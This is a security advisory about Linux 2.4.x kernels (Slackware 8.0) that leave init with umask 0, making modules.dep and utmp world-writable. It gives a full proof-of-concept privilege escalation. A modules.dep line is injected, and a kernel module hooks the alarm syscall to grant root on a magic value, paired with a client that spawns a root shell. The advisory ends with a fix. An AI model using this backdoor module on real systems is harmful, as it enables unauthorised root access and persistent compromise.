COMMAND

    kernel (/lib/modules/2.4.5/modules.dep)

SYSTEMS AFFECTED

    Linux Slackware 8.0, kernel 2.4.5

PROBLEM

    Josh Lockdown  found following.  The 2.4.x  kernels starting  with
    2.4.3  (guess)  have,  after  load,  left  a  umask of 0000.  This
    forces  any  files  created  in  the  bootup  scripts, without the
    command `umask 022` issued to  be world writeable.  In  slackware,
    files  include  /var/run/utmp  and  /var/run/gpm.pid.   This  same
    vulnerability  is  responsible  for  creating  /lib/modules/`uname
    -r`/modules.dep world writeable.  With this file world  writeable,
    all an  intruder need  do is  put something  like the following in
    /lib/modules/`uname -r`/modules.dep assuming the system's  startup
    scripts modprobe lp:

        /lib/modules/2.4.5/kernel/drivers/char/lp.o:  /tmp/alarm.o
        /tmp/alarm.o:

    where the alarm.o module is:

    #include <linux/config.h>
    #include <linux/module.h>
    #include <linux/version.h>
    #include <linux/types.h>
    #include <asm/segment.h>
    #include <asm/unistd.h>
    #include <linux/dirent.h>
    #include <sys/syscall.h>
    #include <sys/sysmacros.h>

    #include <linux/sched.h>

    #include <linux/errno.h>
    #include <linux/fs.h>
    #include <linux/kernel.h>

    extern void* sys_call_table[];

    unsigned int (*old_alarm) (unsigned int seconds);
    unsigned int hacked_alarm (unsigned int seconds);

    unsigned int hacked_alarm(unsigned int seconds)
    {
               if(seconds == 454) {
                    current->uid = 0;
                    current->euid = 0;
                    current->gid = 0;
                    current->egid = 0;
                    return 0;
                }
       return old_alarm(seconds);
    }

    int init_module(void) {
     old_alarm=sys_call_table[SYS_alarm];
     sys_call_table[SYS_alarm] = hacked_alarm;
     return 0;
    }

    void cleanup_module(void) {
       sys_call_table[SYS_alarm] = old_alarm;
    }

    Make a client:

    #include <stdio.h>
    #include <unistd.h>

    int main(void)
    {
      alarm(454);
      execl("/bin/sh", "sh", NULL);
    }

    which will, when the module is loaded, execute a shell as root.

    And of course with /var/run/utmp writeable, users can delete or in
    other   ways   manipulate   their   logins   as   they  appear  in
    w/who/finger/getlogin(), etc.

    A change to  the kernel in  2.4.3-pre5 or -pre6  caused all kernel
    thread programs to run with umask 0, including init.  Newer Redhat
    rc.sysinit sets the  umask instead of  trusting the kernel  value,
    older Redhat  and current  Slackware trust  the kernel.   modutils
    trust umask.

    At the end this exploit will  work only if the kernel hasn't  been
    recompiled  with  make  modules_install   (or  depmod  -a   called
    otherwise not at the startup)  of if modules.dep is erased  before
    "depmod -a" at the startup  (Slakware 7.0 init script doesn'  t do
    that, so it is not vulnerable).

SOLUTION

    Temporary Fix : umask 022 at the top of all your startup  scripts.
    The kernel normally mimics the default umask for shells, 022.  The
    change from 022  to 000 was  incorrect and will  be backed out  in
    the next kernel release.

    Fixed in 2.4.7-pre7, not  released yet.  It  is a kernel bug,  not
    modutils.